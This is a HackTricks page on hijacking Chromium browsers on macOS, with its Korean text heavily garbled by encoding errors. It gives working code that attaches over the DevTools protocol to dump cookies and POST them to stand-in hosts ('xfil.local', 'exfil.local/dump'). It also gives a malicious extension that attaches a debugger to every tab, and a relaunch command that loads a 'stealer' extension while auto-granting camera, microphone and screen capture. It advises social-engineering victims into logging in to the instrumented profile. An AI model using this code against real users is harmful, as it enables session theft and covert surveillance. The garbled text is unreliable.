macOS Chromium Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Chromium-based browsers like Google Chrome, Microsoft Edge, Brave, Arc, Vivaldi, and Opera๋ ๋์ผํ command-line switches, preference files, ๊ทธ๋ฆฌ๊ณ DevTools automation interfaces๋ฅผ ์ฌ์ฉํฉ๋๋ค. macOS์์๋ GUI์ ์ ๊ทผ ๊ฐ๋ฅํ ์ด๋ค ์ฌ์ฉ์๋ ๊ธฐ์กด ๋ธ๋ผ์ฐ์ ์ธ์ ์ ์ข ๋ฃํ๊ณ ๋์์ entitlements๋ก ์คํ๋๋ ์์์ flags, extensions, ๋๋ DevTools endpoints๋ฅผ ์ฌ์ฉํด ๋ธ๋ผ์ฐ์ ๋ฅผ ๋ค์ ์ด ์ ์์ต๋๋ค.
Launching Chromium with custom flags on macOS
macOS๋ Chromium ํ๋กํ์ผ๋น ๋จ์ผ UI ์ธ์คํด์ค๋ฅผ ์ ์งํ๋ฏ๋ก ๋ณดํต ๊ณ์ธก์ ์ํด ๋ธ๋ผ์ฐ์ ๋ฅผ ๊ฐ์ ์ข
๋ฃํด์ผ ํฉ๋๋ค(์: osascript -e 'tell application "Google Chrome" to quit'). ๊ณต๊ฒฉ์๋ ์ผ๋ฐ์ ์ผ๋ก open -na "Google Chrome" --args <flags>๋ก ์ฌ์คํํ์ฌ ์ฑ ๋ฒ๋ค์ ์์ ํ์ง ์๊ณ ์ธ์๋ฅผ ์ฃผ์
ํฉ๋๋ค. ํด๋น ๋ช
๋ น์ user LaunchAgent(~/Library/LaunchAgents/*.plist)๋ ๋ก๊ทธ์ธ ํ
์ ๊ฐ์ธ๋ฉด ๋ณ์กฐ๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ฌ๋ถํ
/๋ก๊ทธ์คํ ํ์๋ ์ฌ์์ฑ๋๋ ๊ฒ์ ๋ณด์ฅํฉ๋๋ค.
--load-extension Flag
--load-extension ํ๋๊ทธ๋ unpacked extensions(์ผํ๋ก ๊ตฌ๋ถ๋ ๊ฒฝ๋ก)์ ์๋์ผ๋ก ๋ก๋ํฉ๋๋ค. --disable-extensions-except์ ํจ๊ป ์ฌ์ฉํ๋ฉด ์ ์์ ์ธ ํ์ฅ์ ์ฐจ๋จํ๋ฉด์ ์ค์ง ๊ณต๊ฒฉ์์ ํ์ด๋ก๋๋ง ์คํ๋๊ฒ ๊ฐ์ ํ ์ ์์ต๋๋ค. ์
์ฑ ํ์ฅ์ debugger, webRequest, cookies์ ๊ฐ์ ๊ณ ๊ถํ permissions๋ฅผ ์์ฒญํด DevTools ํ๋กํ ์ฝ๋ก ์ ์ดํ๊ฑฐ๋, CSP ํค๋๋ฅผ ํจ์นํ๊ณ , HTTPS๋ฅผ ๋ค์ด๊ทธ๋ ์ด๋ํ๊ฑฐ๋, ๋ธ๋ผ์ฐ์ ์์ ์ฆ์ ์ธ์
์๋ฃ๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
--remote-debugging-port / --remote-debugging-pipe Flags
์ด ์ค์์น๋ Chrome DevTools Protocol (CDP)์ TCP๋ ํ์ดํ๋ฅผ ํตํด ๊ณต๊ฐํ์ฌ ์ธ๋ถ ํด์ด ๋ธ๋ผ์ฐ์ ๋ฅผ ์ ์ดํ ์ ์๊ฒ ํฉ๋๋ค. Google์ ์ด ์ธํฐํ์ด์ค์ widespread infostealer ๋จ์ฉ์ ๊ด์ฐฐํ์ผ๋ฉฐ, Chrome 136 (March 2025)๋ถํฐ๋ ๋ธ๋ผ์ฐ์ ๊ฐ ๋นํ์ค --user-data-dir๋ก ์คํ๋์ง ์๋ ํ ๊ธฐ๋ณธ ํ๋กํ์ผ์ ๋ํด ์ด ์ค์์น๋ฅผ ๋ฌด์ํฉ๋๋ค. ์ด๋ ์ค์ ํ๋กํ์ผ์์ App-Bound Encryption์ ๊ฐ์ ํ์ง๋ง, ๊ณต๊ฒฉ์๋ ์ฌ์ ํ ์ ํ๋กํ์ผ์ ์์ฑํ๊ณ ํผํด์๊ฐ ๊ทธ ์์์ ์ธ์ฆํ๋๋ก ์ ๋(phishing/triage assistance)ํ ๋ค CDP๋ฅผ ํตํด cookies, tokens, device trust states, ๋๋ WebAuthn registrations๋ฅผ ์์งํ ์ ์์ต๋๋ค.
--user-data-dir Flag
์ด ํ๋๊ทธ๋ ์ ์ฒด ๋ธ๋ผ์ฐ์ ํ๋กํ์ผ(History, Cookies, Login Data, Preference files ๋ฑ)์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๊ฒฝ๋ก๋ก ๋ฆฌ๋ค์ด๋ ํธํฉ๋๋ค. ์ด๋ ์ต์ Chrome ๋น๋์ --remote-debugging-port๋ฅผ ์กฐํฉํ ๋ ํ์์ด๋ฉฐ, ๋ํ ๋ณ์กฐ๋ ํ๋กํ์ผ์ ๊ฒฉ๋ฆฌํ์ฌ ๋ณด์ ํ๋กฌํํธ๋ฅผ ๋นํ์ฑํํ๊ณ ํ์ฅ์ ์๋ ์ค์นํ๋ฉฐ ๊ธฐ๋ณธ ์คํด์ ๋ณ๊ฒฝํ๋ ์ฌ์ ์ฑ์์ง Preferences ๋๋ Secure Preferences ํ์ผ์ ๋จ์ด๋จ๋ฆด ์ ์๊ฒ ํฉ๋๋ค.
--use-fake-ui-for-media-stream Flag
์ด ์ค์์น๋ ์นด๋ฉ๋ผ/๋ง์ดํฌ ๊ถํ ํ๋กฌํํธ๋ฅผ ์ฐํํ์ฌ getUserMedia๋ฅผ ํธ์ถํ๋ ๋ชจ๋ ํ์ด์ง๊ฐ ์ฆ์ ์ ๊ทผ์ ๋ฐ๋๋ก ํฉ๋๋ค. --auto-select-desktop-capture-source="Entire Screen", --kiosk ๊ฐ์ ํ๋๊ทธ๋ CDP์ Browser.grantPermissions ๋ช
๋ น๊ณผ ๊ฒฐํฉํ๋ฉด ์ฌ์ฉ์ ์ํธ์์ฉ ์์ด ์ค๋์ค/๋น๋์ค๋ฅผ ์กฐ์ฉํ ์บก์ฒํ๊ฑฐ๋ ํ๋ฉด ๊ณต์ ๋ฅผ ํ๊ฑฐ๋ WebRTC ๊ถํ ๊ฒ์ฌ๋ฅผ ํต๊ณผ์ํฌ ์ ์์ต๋๋ค.
Remote Debugging & DevTools Protocol Abuse
Once Chrome is relaunched with a dedicated --user-data-dir and --remote-debugging-port, you can attach over CDP (e.g., via chrome-remote-interface, puppeteer, or playwright) and script high-privilege workflows:
- Cookie/session theft:
Network.getAllCookiesandStorage.getCookiesreturn HttpOnly values even when App-Bound encryption would normally block filesystem access, because CDP asks the running browser to decrypt them. - Permission tampering:
Browser.grantPermissionsandEmulation.setGeolocationOverridelet you bypass camera/mic prompts (especially when combined with--use-fake-ui-for-media-stream) or falsify location-based security checks. - Keystroke/script injection:
Runtime.evaluateexecutes arbitrary JavaScript inside the active tab, enabling credential lifting, DOM patching, or injecting persistence beacons that survive navigation. - Live exfiltration:
Network.webRequestWillBeSentExtraInfoandFetch.enableintercept authenticated requests/responses in real time without touching disk artifacts.
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Network, Runtime} = client;
await Network.enable();
const {cookies} = await Network.getAllCookies();
console.log(cookies.map(c => `${c.domain}:${c.name}`));
await Runtime.evaluate({expression: "fetch('https://xfil.local', {method:'POST', body:document.cookie})"});
await client.close();
})();
Because Chrome 136 blocks CDP on the default profile, copy/pasting the victimโs existing ~/Library/Application Support/Google/Chrome directory to a staging path no longer yields decrypted cookies. Instead, social-engineer the user into authenticating inside the instrumented profile (e.g., โhelpfulโ support session) or capture MFA tokens in transit via CDP-controlled network hooks.
Extension-Based Injection via Debugger API
2023๋
์ฐ๊ตฌ โChrowned by an Extensionโ๋ ์
์ฑ extension์ด chrome.debugger API๋ฅผ ์ฌ์ฉํด ์ด๋ค ํญ์๋ attachํ๊ณ --remote-debugging-port์ ๋์ผํ DevTools ๊ถํ์ ์ป์ ์ ์์์ ๋ณด์ฌ์ฃผ์์ต๋๋ค. ์ด๋ ์๋์ ๊ฒฉ๋ฆฌ ๊ฐ์ (extensions stay in their context)์ ๊นจ๊ณ ๋ค์์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค:
- ์๋ฐํ cookie ๋ฐ credential theft (
Network.getAllCookies/Fetch.getResponseBody). - ์ฌ์ดํธ ๊ถํ(camera, microphone, geolocation) ๋ณ๊ฒฝ ๋ฐ security interstitial ์ฐํ๋ก phishing ํ์ด์ง๊ฐ Chrome ๋ํ์์๋ฅผ ๊ฐ์ฅํ ์ ์๊ฒ ํจ.
- ํ๋ก๊ทธ๋๋ฐ ๋ฐฉ์์ผ๋ก
Page.handleJavaScriptDialog,Page.setDownloadBehavior, ๋๋Security.handleCertificateError๋ฅผ ์ ์ดํด TLS ๊ฒฝ๊ณ , ๋ค์ด๋ก๋, ๋๋ WebAuthn ํ๋กฌํํธ๋ฅผ ์จ-ํจ์ค ๋ณ์กฐ.
์ฌ์ฉ์ ์ํธ์์ฉ ์์ด ๋์ํ๊ฒ ํ๋ ค๋ฉด extension์ --load-extension/--disable-extensions-except์ ํจ๊ป ๋ก๋ํ์ธ์. API๋ฅผ ์
์ฉํ๋ ์ต์ํ์ background ์คํฌ๋ฆฝํธ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
chrome.tabs.onUpdated.addListener((tabId, info) => {
if (info.status !== 'complete') return;
chrome.debugger.attach({tabId}, '1.3', () => {
chrome.debugger.sendCommand({tabId}, 'Network.enable');
chrome.debugger.sendCommand({tabId}, 'Network.getAllCookies', {}, (res) => {
fetch('https://exfil.local/dump', {method: 'POST', body: JSON.stringify(res.cookies)});
});
});
});
ํ์ฅ์ Debugger.paused ์ด๋ฒคํธ๋ฅผ ๊ตฌ๋
ํ์ฌ JavaScript ๋ณ์ ์ฝ๊ธฐ, ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ํจ์น, ๋๋ ๋ค๋น๊ฒ์ด์
์ ๊ฑฐ์ณ๋ ์ ์ง๋๋ ์ปค์คํ
์ค๋จ์ ์ฝ์
์ด ๊ฐ๋ฅํฉ๋๋ค. ๋ชจ๋ ๊ฒ์ด ์ฌ์ฉ์์ GUI ์ธ์
๋ด์์ ์คํ๋๊ธฐ ๋๋ฌธ์ Gatekeeper์ TCC๊ฐ ์๋ํ์ง ์์ผ๋ฉฐ, ์ด๋ฏธ ์ฌ์ฉ์ ์ปจํ
์คํธ์์ ์คํ์ ํ๋ํ ์
์ฑ์ฝ๋์ ์ด ๊ธฐ๋ฒ์ด ์ ํฉํฉ๋๋ค.
๋๊ตฌ
- https://github.com/breakpointHQ/snoop - payload extensions์ ์ฌ์ฉํด Chromium ์คํ์ ์๋ํํ๊ณ ๋ํํ CDP ํ ์ ์ ๊ณตํฉ๋๋ค.
- https://github.com/breakpointHQ/VOODOO - macOS ์ด์์๋ฅผ ์ํ ํธ๋ํฝ ๊ฐ๋ก์ฑ๊ธฐ ๋ฐ ๋ธ๋ผ์ฐ์ ๊ณ์ธก์ ์ด์ ์ ๋ง์ถ ์ ์ฌ ํด๋ง์ ๋๋ค.
- https://github.com/cyrus-and/chrome-remote-interface -
--remote-debugging-port์ธ์คํด์ค๊ฐ ํ์ฑํ๋๋ฉด Chrome DevTools Protocol ๋คํ(cookies, DOM, permissions)๋ฅผ ์คํฌ๋ฆฝํธํํ๊ธฐ ์ํ Node.js ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋๋ค.
์์
# Launch an instrumented Chrome profile listening on CDP and auto-granting media/capture access
osascript -e 'tell application "Google Chrome" to quit'
open -na "Google Chrome" --args \
--user-data-dir="$TMPDIR/chrome-privesc" \
--remote-debugging-port=9222 \
--load-extension="$PWD/stealer" \
--disable-extensions-except="$PWD/stealer" \
--use-fake-ui-for-media-stream \
--auto-select-desktop-capture-source="Entire Screen"
# Intercept traffic
voodoo intercept -b chrome
tools links์์ ๋ ๋ง์ ์์ ๋ฅผ ํ์ธํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- https://twitter.com/RonMasas/status/1758106347222995007
- https://developer.chrome.com/blog/remote-debugging-port
- https://arxiv.org/abs/2305.11506
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


